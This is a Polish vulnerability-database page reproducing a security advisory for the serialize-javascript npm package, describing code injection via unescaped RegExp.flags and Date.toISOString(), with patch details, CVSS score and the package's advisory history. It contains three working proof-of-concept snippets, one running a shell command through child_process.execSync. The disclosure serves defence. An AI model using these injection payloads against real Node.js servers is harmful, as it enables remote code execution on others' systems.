Wysoka

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Ujawniono: 28.02.2026
Aktualizacja: 11.10.2026 10:22

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

Platforma	Paczka	Podatne wersje	Poprawka w wersji
Paczka npm	serialize-javascript	< 7.0.3	7.0.3

Odnośniki

Ocena CVSS 8.1/10

Wektor CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE): CWE-96
Platforma: npm
Paczka: serialize-javascript
Ujawniono: 28.02.2026
Aktualizacja: 11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-5c6j-r48x-rmvq - CC BY 4.0

Historia podatności: serialize-javascript

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów: 6
Pierwsza → ostatnia: 12.2019 09.2026
Bez poprawki: 0
Wykorzystywana w atakach: 0

Rozkład istotności

Wysoka 2
Średnia 3
Niska 1

Ujawnienia w latach

2019: 1
2020: 1
2021: 0
2022: 0
2023: 0
2024: 0
2025: 1
2026: 3

30.09.2026

Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script> in serialized function bodies

Niska CVE-2026-97711 >= 7.1.1, < 7.1.2 7.1.2
27.03.2026

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

Średnia · 5.9 CVE-2026-34043 >= 5.0.0, < 7.0.5 7.0.5
28.02.2026

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString() ten wpis

Wysoka · 8.1 ghsa-5c6j-r48x-rmvq < 7.0.3 7.0.3
10.02.2025

Cross-site Scripting (XSS) in serialize-javascript

Średnia · 5.4 CVE-2024-11831 >= 6.0.0, < 6.0.2 6.0.2
11.08.2020

Insecure serialization leading to RCE in serialize-javascript

Wysoka · 8.1 CVE-2020-7660 < 3.1.0 3.1.0
05.12.2019

Cross-Site Scripting in serialize-javascript

Średnia · 4.2 CVE-2019-16769 < 2.1.1 2.1.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację